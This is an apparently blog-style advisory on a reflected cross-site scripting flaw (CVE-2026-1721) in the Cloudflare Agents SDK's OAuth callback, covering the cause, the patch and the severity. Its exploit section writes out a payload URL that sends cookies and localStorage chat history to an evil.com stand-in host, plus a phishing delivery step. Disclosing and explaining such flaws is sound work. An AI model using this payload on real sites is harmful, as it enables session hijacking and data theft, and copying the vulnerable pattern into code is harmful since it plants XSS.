GHSA-W5CR-2QHR-JQC5

Agent Provocateur: Breaking the Fourth Wall in Cloudflare's AI Playground

Alon Barad
Alon Barad
Software Engineer

Feb 13, 2026·5 min read·2 visits

Executive Summary (TL;DR)

The Cloudflare Agents SDK used `JSON.stringify()` to render OAuth error messages directly inside an HTML `<script>` tag. Since this function doesn't escape forward slashes, attackers could close the script block with `</script>` and inject malicious JavaScript. This grants full access to the AI Playground session.

In the rush to connect Large Language Models (LLMs) to the real world via the Model Context Protocol (MCP), developers often overlook the plumbing. CVE-2026-1721 is a classic Reflected Cross-Site Scripting (XSS) vulnerability found in the Cloudflare Agents SDK's OAuth callback handler. By abusing how error messages are serialized into HTML, attackers could hijack a developer's session, stealing sensitive AI chat logs and potentially commanding connected agents to perform unauthorized actions.

The Hook: When AI Meets Authentication

We are living in the golden age of "Agentic AI." Everyone is rushing to build tools that let LLMs actually do things—read files, query databases, or restart servers. Cloudflare's contribution to this ecosystem is the Agents SDK and the AI Playground, a sandbox where developers can test their Model Context Protocol (MCP) servers.

But here's the thing about sandboxes: they are only fun until someone finds a cat turd in them. In this case, the "turd" was a vulnerability in the authentication flow. To let developers log in with GitHub or Google, the Playground uses OAuth. It's a standard dance: you leave the site, log in, and get redirected back with a code.

However, security research isn't about the happy path; it's about what happens when things break. When an OAuth provider returns an error (like access_denied), the application has to tell the user what happened. The way Cloudflare handled this error reporting was... let's say, overly trusting. It opened the door for a classic, yet elegant, Reflected XSS.

The Flaw: Trusting the JSON

The vulnerability lies in site/ai-playground/src/server.ts. When the OAuth callback endpoint receives an error from the provider, it needs to display that error to the user or pass it back to the parent window (since OAuth often happens in a popup).

The developers decided to take the query parameters—specifically error and error_description—and inject them directly into the response HTML inside a <script> tag. They likely thought, "Hey, we'll use JSON.stringify(). That escapes quotes, so we're safe from breaking out of the JavaScript string, right?"

Wrong.

While JSON.stringify() creates a valid JavaScript string literal, it does not escape forward slashes (/). In the context of an HTML parser, the sequence </script> is special. The browser's HTML parser runs before the JavaScript engine. If it sees </script>, it terminates the script block immediately, regardless of whether that sequence is inside a JavaScript string or not. This is a subtle behavior known as "Script Data Double Escaping" or simply "HTML injection in script context."

The Code: Anatomy of a Breakout

Let's look at the smoking gun. The vulnerable code looked something like this:

// Pseudo-code of the vulnerable handler
app.get('/callback', (req, res) => {
  const error = req.query.error_description;
  // The fatal flaw: Interpolating JSON.stringify directly into HTML
  const html = `
    <html>
      <body>
        <script>
          window.opener.postMessage({
            type: 'oauth-error',
            message: ${JSON.stringify(error)}
          }, '*');
          window.close();
        </script>
      </body>
    </html>
  `;
  res.send(html);
});

If an attacker sends a normal error like Invalid Scope, the output is safe: message: "Invalid Scope"

But if the attacker sends error_description=</script><script>alert(1)</script>, JSON.stringify turns it into "</script><script>alert(1)</script>". The quotes are there, but the browser doesn't care. It sees:

<script>
  window.opener.postMessage({
    type: 'oauth-error',
    message: "
</script>  <-- HTML Parser stops here!
<script>alert(1)</script>  <-- New script starts here!

The rest of the original script (" }, '*'); ...) becomes garbage text on the page, but the payload executes.

The Exploit: Stealing the Agent's Brain

Exploiting this requires a bit of social engineering, but for a high-value target like an AI developer, it's worth the effort. The goal is to craft a URL that points to the legitimate Cloudflare AI Playground but carries our payload.

Step 1: Craft the Payload We need a URL that triggers the error condition in the OAuth handler.

https://playground.ai.cloudflare.com/callback
  ?state=irrelevant
  &error=access_denied
  &error_description=</script><script>
     fetch('https://evil.com/steal?c='+document.cookie);
     // Or sneakier: exfiltrate local storage where LLM chats live
     const history = localStorage.getItem('chat_history');
     navigator.sendBeacon('https://evil.com/logger', history);
   </script>

Step 2: Delivery The attacker sends this link to a developer via email, Discord, or a GitHub issue comment: "Hey, I'm getting this weird error on the Cloudflare Playground, can you check it out?"

Step 3: Execution When the victim clicks, the browser renders the page. The vulnerability fires immediately. Because the context is playground.ai.cloudflare.com, the script has access to all cookies and LocalStorage for that domain. In the world of AI Agents, this storage often contains the conversation history with the LLM, API keys for the models, and potentially access tokens for the MCP servers being tested.

The Fix: Escaping the inescapable

Cloudflare patched this in version 0.3.10 (Commit 3f490d045844e4884db741afbb66ca1fe65d4093). The fix involved two major changes: sanitization and architecture.

First, they stopped trusting JSON.stringify blindly for HTML contexts. They introduced an HTML escaping library (escape-html) to sanitize the input before it ever touches the DOM.

Second, and more importantly, they refactored the flow. Instead of embedding the error message into the HTML response of the callback window, they switched to a state-based approach. The callback now simply signals the window to close, and the application state (likely via the state parameter or a session store) handles the error presentation.

Here is the essence of the patch:

// The Fix: Sanitize before interpolation
import escapeHtml from 'escape-html';
 
// ... inside the handler ...
const safeError = escapeHtml(req.query.error_description);
// Now even if it contains </script>, it becomes &lt;/script&gt;

For developers building similar OAuth flows: Never interpolate query parameters directly into your HTML, even inside script tags. If you must pass data from server to client HTML, put it in a data-attribute of a hidden DOM element (escaped!) or use a rigorous serialization library that is HTML-context aware.

Fix Analysis (1)

Technical Appendix

CVSS Score
6.2/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N
EPSS Probability
0.04%
Top 87% most exploited

Affected Systems

Cloudflare Agents SDK (< 0.3.10)Cloudflare AI PlaygroundApplications implementing MCP Client with default OAuth callbacks

Affected Versions Detail

Product
Affected Versions
Fixed Version
cloudflare/agents
Cloudflare
< 0.3.100.3.10
AttributeDetail
CWE IDCWE-79
CVSS Score6.2 (Medium)
Attack VectorNetwork
User InteractionRequired (Clicking Link)
ImpactSession Hijacking / Data Exfiltration
Exploit StatusProof of Concept (PoC) Available
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Vulnerability Timeline

Patch committed to cloudflare/agents
2026-02-04
Vulnerability published (GHSA/CVE)
2026-02-13